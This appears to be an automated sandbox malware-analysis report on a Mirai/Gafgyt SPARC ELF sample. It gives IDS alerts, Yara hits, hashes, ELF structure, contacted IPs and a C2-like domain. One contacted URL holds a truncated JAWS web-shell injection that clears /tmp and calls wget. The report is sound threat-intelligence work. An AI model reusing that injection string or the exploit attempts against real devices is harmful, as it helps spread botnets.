Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: spc.elf, type: SAMPLE
Source: Yara match	File source: 6220.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6228.1.00007f84c8011000.00007f84c8023000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: spc.elf PID: 6220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: spc.elf PID: 6228, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
spc.elf	71%	ReversingLabs	Linux.Trojan.Mirai
spc.elf	100%	Avira	EXP/ELF.Gafgyt.T

Name	IP	Active	Malicious	Antivirus Detection	Reputation
scamanje.stresserit.pro	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	spc.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	spc.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
197.195.235.251	unknown	Egypt	36992	ETISALAT-MISREG	false
41.157.30.61	unknown	South Africa	37168	CELL-CZA	false
5.105.175.104	unknown	Ukraine	43554	CDS-ASUA	false
206.192.60.212	unknown	United States	3356	LEVEL3US	false
72.60.15.117	unknown	United States	10507	SPCSUS	false
197.223.62.18	unknown	Egypt	37069	MOBINILEG	false
165.108.84.139	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.167.208.206	unknown	Egypt	24863	LINKdotNET-ASEG	false
163.166.179.243	unknown	United Kingdom	15914	BritishAirwaysGB	false
217.184.55.155	unknown	Germany	6805	TDDE-ASN1DE	false
156.222.129.74	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.146.251.170	unknown	United States	1448	UNITED-BROADBANDUS	false
197.3.63.180	unknown	Tunisia	37705	TOPNETTN	false
219.8.229.7	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.3.151.126	unknown	South Africa	29975	VODACOM-ZA	false
156.223.192.114	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.2.168.171	unknown	Tunisia	37705	TOPNETTN	false
156.79.67.17	unknown	United States	11363	FUJITSU-USAUS	false
156.154.241.68	unknown	United States	19905	NEUSTAR-AS6US	false
41.179.6.190	unknown	Egypt	24863	LINKdotNET-ASEG	false
88.189.183.45	unknown	France	12322	PROXADFR	false
41.19.112.143	unknown	South Africa	29975	VODACOM-ZA	false
41.82.95.112	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
171.206.133.214	unknown	United States	10794	BANKAMERICAUS	false
156.252.201.200	unknown	Seychelles	26484	IKGUL-26484US	false
220.145.104.36	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
197.238.77.149	unknown	unknown	37705	TOPNETTN	false
152.53.40.86	unknown	United States	81	NCRENUS	false
96.14.32.67	unknown	United States	22394	CELLCOUS	false
207.197.54.26	unknown	United States	3851	NSHE-NEVADANETUS	false
172.1.116.48	unknown	United States	7018	ATT-INTERNET4US	false
41.186.210.207	unknown	Rwanda	36890	MTNRW-ASNRW	false
95.124.153.90	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
62.175.151.47	unknown	Spain	12357	COMUNITELSPAINES	false
105.164.155.233	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.217.213.8	unknown	Egypt	8452	TE-ASTE-ASEG	false
169.76.1.123	unknown	United States	37611	AfrihostZA	false
58.51.252.66	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
188.13.148.205	unknown	Italy	3269	ASN-IBSNAZIT	false
174.188.44.1	unknown	United States	7922	COMCAST-7922US	false
188.137.124.156	unknown	Poland	13000	LEON-ASPL	false
197.211.66.54	unknown	South Africa	29918	IMPOL-ASNZA	false
64.104.199.232	unknown	United States	109	CISCOSYSTEMSUS	false
141.219.187.70	unknown	United States	62618	MICHIGANTECHUS	false
41.76.254.8	unknown	Nigeria	37286	NG-ICT-FORUMNG	false
156.50.27.194	unknown	Australia	29975	VODACOM-ZA	false
101.82.178.101	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
122.121.71.212	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
39.81.131.157	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
90.43.90.92	unknown	France	3215	FranceTelecom-OrangeFR	false
172.206.92.91	unknown	United States	18747	IFX18747US	false
156.222.154.18	unknown	Egypt	8452	TE-ASTE-ASEG	false
166.2.94.130	unknown	United States	4152	USDA-1US	false
35.143.25.232	unknown	United States	33363	BHN-33363US	false
156.43.173.180	unknown	United Kingdom	4211	ASN-MARICOPA1US	false
41.42.118.12	unknown	Egypt	8452	TE-ASTE-ASEG	false
75.208.169.174	unknown	United States	22394	CELLCOUS	false
197.149.52.198	unknown	Madagascar	37054	Telecom-MalagasyMG	false
41.102.102.210	unknown	Algeria	36947	ALGTEL-ASDZ	false
47.22.179.81	unknown	United States	6128	CABLE-NET-1US	false
62.177.27.5	unknown	Italy	12874	FASTWEBIT	false
79.63.217.120	unknown	Italy	3269	ASN-IBSNAZIT	false
41.102.150.117	unknown	Algeria	36947	ALGTEL-ASDZ	false
156.208.176.36	unknown	Egypt	8452	TE-ASTE-ASEG	false
117.40.116.65	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.109.134.76	unknown	South Africa	37168	CELL-CZA	false
138.157.218.135	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
51.126.93.124	unknown	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.21.227.67	unknown	South Africa	36994	Vodacom-VBZA	false
70.45.145.6	unknown	Puerto Rico	14638	LCPRLUS	false
197.4.54.34	unknown	Tunisia	5438	ATI-TN	false
197.159.177.21	unknown	Sao Tome and Principe	328191	CST-NET-ASST	false
128.74.1.175	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
190.190.111.216	unknown	Argentina	10481	TelecomArgentinaSAAR	false
13.208.161.1	unknown	United States	16509	AMAZON-02US	false
75.239.165.51	unknown	United States	22394	CELLCOUS	false
205.81.48.191	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
87.66.17.138	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
156.15.146.166	unknown	United States	137	ASGARRConsortiumGARREU	false
122.236.158.1	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
62.33.162.99	unknown	Russian Federation	20485	TRANSTELECOMMoscowRussiaRU	false
89.27.181.86	unknown	Germany	8881	VERSATELDE	false
19.102.249.8	unknown	United States	3	MIT-GATEWAYSUS	false
197.211.91.31	unknown	South Africa	29918	IMPOL-ASNZA	false
162.180.135.49	unknown	United States	21928	T-MOBILE-AS21928US	false
221.125.163.29	unknown	Hong Kong	9304	HUTCHISON-AS-APHGCGlobalCommunicationsLimitedHK	false
41.71.194.205	unknown	Nigeria	37053	RSAWEB-ASZA	false
90.23.76.47	unknown	France	3215	FranceTelecom-OrangeFR	false
85.152.244.239	unknown	Spain	12946	TELECABLESpainES	false
177.252.31.187	unknown	Colombia	27831	ColombiaMovilCO	false
155.34.127.24	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false
94.58.153.78	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
151.167.123.115	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
167.228.141.243	unknown	United States	2897	GEORGIA-1US	false
41.21.252.20	unknown	South Africa	36994	Vodacom-VBZA	false
176.193.190.39	unknown	Russian Federation	12714	TI-ASMoscowRussiaRU	false
41.114.147.178	unknown	South Africa	16637	MTNNS-ASZA	false
194.168.74.18	unknown	United Kingdom	5089	NTLGB	false
75.28.97.227	unknown	United States	7018	ATT-INTERNET4US	false
53.86.6.48	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.157.30.61	mpsl.elf	Get hash	malicious	Mirai	Browse
	skyljne.arm5.elf	Get hash	malicious	Mirai	Browse
	db0fa4b8db0333367e9bda3ab68b8042.arm.elf	Get hash	malicious	Mirai	Browse
	AiB2hMdov5.elf	Get hash	malicious	Mirai, Moobot	Browse
	bok.mips-20230315-2115.elf	Get hash	malicious	Mirai	Browse
	kuNwOBFl7H	Get hash	malicious	Gafgyt, Mirai	Browse
	Tsunami.x86	Get hash	malicious	Mirai	Browse
197.223.62.18	MeJonNJG8q.elf	Get hash	malicious	Mirai	Browse
	mpsl-20230704-0803.elf	Get hash	malicious	Mirai, Moobot	Browse
	CxPvMBx5Uj	Get hash	malicious	Mirai	Browse
	yO5PTymk2Z	Get hash	malicious	Mirai	Browse
197.167.208.206	ykBzPPyrVx.elf	Get hash	malicious	Mirai, Moobot	Browse
	DZdJX7u9Yh.elf	Get hash	malicious	Mirai, Moobot	Browse
	OjqGHcdOEm.elf	Get hash	malicious	Mirai	Browse
	rNhINZTaN0	Get hash	malicious	Mirai	Browse
	ZtYNQ1ZX9z	Get hash	malicious	Mirai	Browse
163.166.179.243	FBI.arm	Get hash	malicious	Gafgyt Mirai	Browse
156.222.129.74	BFAT7hL1iq.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CELL-CZA	m68k.elf	Get hash	malicious	Mirai	Browse	197.173.220.103
	x86.elf	Get hash	malicious	Mirai	Browse	41.157.30.27
	nsharm.elf	Get hash	malicious	Mirai	Browse	197.169.124.214
	x86_64.elf	Get hash	malicious	Mirai	Browse	41.51.170.21
	mpsl.elf	Get hash	malicious	Mirai	Browse	197.109.134.22
	sh4.elf	Get hash	malicious	Mirai	Browse	197.172.142.238
	arm7.elf	Get hash	malicious	Mirai	Browse	197.106.7.118
	mips.elf	Get hash	malicious	Mirai	Browse	197.109.134.46
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	197.109.109.82
	nsharm7.elf	Get hash	malicious	Mirai	Browse	41.157.30.80
CDS-ASUA	spc.elf	Get hash	malicious	Mirai	Browse	217.67.75.18
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	85.255.183.26
	xd.sh4.elf	Get hash	malicious	Mirai	Browse	5.105.80.71
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	217.67.75.133
	nuklear.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	217.67.75.36
	belks.x86.elf	Get hash	malicious	Mirai	Browse	5.105.92.58
	m68k.elf	Get hash	malicious	Unknown	Browse	217.67.75.57
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	5.105.92.63
	na.elf	Get hash	malicious	Unknown	Browse	217.67.75.165
	KKveTTgaAAsecNNaaaa.ppc.elf	Get hash	malicious	Unknown	Browse	85.255.183.31
ETISALAT-MISREG	m68k.elf	Get hash	malicious	Mirai	Browse	156.189.23.113
	x86.elf	Get hash	malicious	Mirai	Browse	156.189.23.123
	nsharm.elf	Get hash	malicious	Mirai	Browse	197.126.242.200
	mpsl.elf	Get hash	malicious	Mirai	Browse	197.192.154.245
	arm7.elf	Get hash	malicious	Mirai	Browse	156.190.95.217
	mips.elf	Get hash	malicious	Mirai	Browse	156.190.95.236
	nsharm7.elf	Get hash	malicious	Mirai	Browse	197.194.23.194
	arm.elf	Get hash	malicious	Mirai	Browse	197.123.197.13
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	217.55.79.34
	sora.mips.elf	Get hash	malicious	Mirai	Browse	197.195.100.248

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.1819507512879985
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	spc.elf
File size:	71'440 bytes
MD5:	c735943cdb0563f5249dde115981be18
SHA1:	5fdd16537c1d6c5bca5debfa40a07c249560ad77
SHA256:	0bcd3fede15864c44d9f41ff019ce9bc1a5673fef5f3daf16fd724274bc1f0f8
SHA512:	c391b5dedaf0ecb4ba4761f7305607d93a0f1b63c41bc11ee21e05cff108ed5109a0baa7ee92a47623e758b488efe1acde2b2dc5ac548d1c8fe44d30eca2474f
SSDEEP:	1536:j7AuhKSwETPv/mdsr0LQLUZYBwLM43QFtbs:w6DT/m5QASw/F
TLSH:	08636A25B9792E17C1E4A17A22F78311B2E5234D34B8CB2D7D760F8DFF18A9461431B2
File Content Preview:	.ELF...........................4.........4. ...(.......................................................4............dt.Q................................@..(....@.?.................#.....a@..`.....!.....#$..@.....".........`......$#$..#$..@...........`....

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	71040
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xfc58	0x0	0x6	AX	4
.fini	PROGBITS	0x1fd08	0xfd08	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1fd20	0xfd20	0x15e8	0x0	0x2	A	8
.ctors	PROGBITS	0x3130c	0x1130c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x31314	0x11314	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x31320	0x11320	0x220	0x0	0x3	WA	8
.bss	NOBITS	0x31540	0x11540	0x468	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0x11540	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0x11308	0x11308	6.2059	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x1130c	0x3130c	0x3130c	0x234	0x69c	2.9378	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T23:16:45.710659+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41910	185.138.149.16	80	TCP
2024-12-03T23:16:45.710659+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41910	185.138.149.16	80	TCP
2024-12-03T23:16:51.039650+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60312	108.165.135.39	80	TCP
2024-12-03T23:16:51.039650+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60312	108.165.135.39	80	TCP
2024-12-03T23:16:51.477618+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39544	209.58.154.1	80	TCP
2024-12-03T23:16:51.477618+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39544	209.58.154.1	80	TCP
2024-12-03T23:16:54.667523+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52298	181.49.1.9	80	TCP
2024-12-03T23:16:54.667523+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52298	181.49.1.9	80	TCP
2024-12-03T23:16:54.865385+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43054	45.93.92.23	80	TCP
2024-12-03T23:16:54.865385+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43054	45.93.92.23	80	TCP
2024-12-03T23:16:55.091292+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33214	175.204.245.90	80	TCP
2024-12-03T23:16:55.091292+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33214	175.204.245.90	80	TCP
2024-12-03T23:16:55.514927+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59722	156.245.131.47	37215	TCP
2024-12-03T23:16:57.053070+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54632	197.232.110.55	37215	TCP
2024-12-03T23:17:00.635509+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34284	13.67.141.213	80	TCP
2024-12-03T23:17:00.635509+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34284	13.67.141.213	80	TCP
2024-12-03T23:17:02.608297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53654	197.221.101.29	37215	TCP
2024-12-03T23:17:04.071515+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49254	50.3.239.91	80	TCP
2024-12-03T23:17:04.071515+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49254	50.3.239.91	80	TCP
2024-12-03T23:17:04.968596+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44330	38.153.191.124	80	TCP
2024-12-03T23:17:04.968596+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44330	38.153.191.124	80	TCP
2024-12-03T23:17:06.363990+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57792	102.72.235.212	80	TCP
2024-12-03T23:17:06.363990+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57792	102.72.235.212	80	TCP
2024-12-03T23:17:06.419072+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34534	51.51.22.8	80	TCP
2024-12-03T23:17:06.419072+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34534	51.51.22.8	80	TCP
2024-12-03T23:17:06.421964+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42056	222.216.121.162	80	TCP
2024-12-03T23:17:06.421964+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42056	222.216.121.162	80	TCP
2024-12-03T23:17:06.434644+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50594	219.135.74.124	80	TCP
2024-12-03T23:17:06.434644+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50594	219.135.74.124	80	TCP
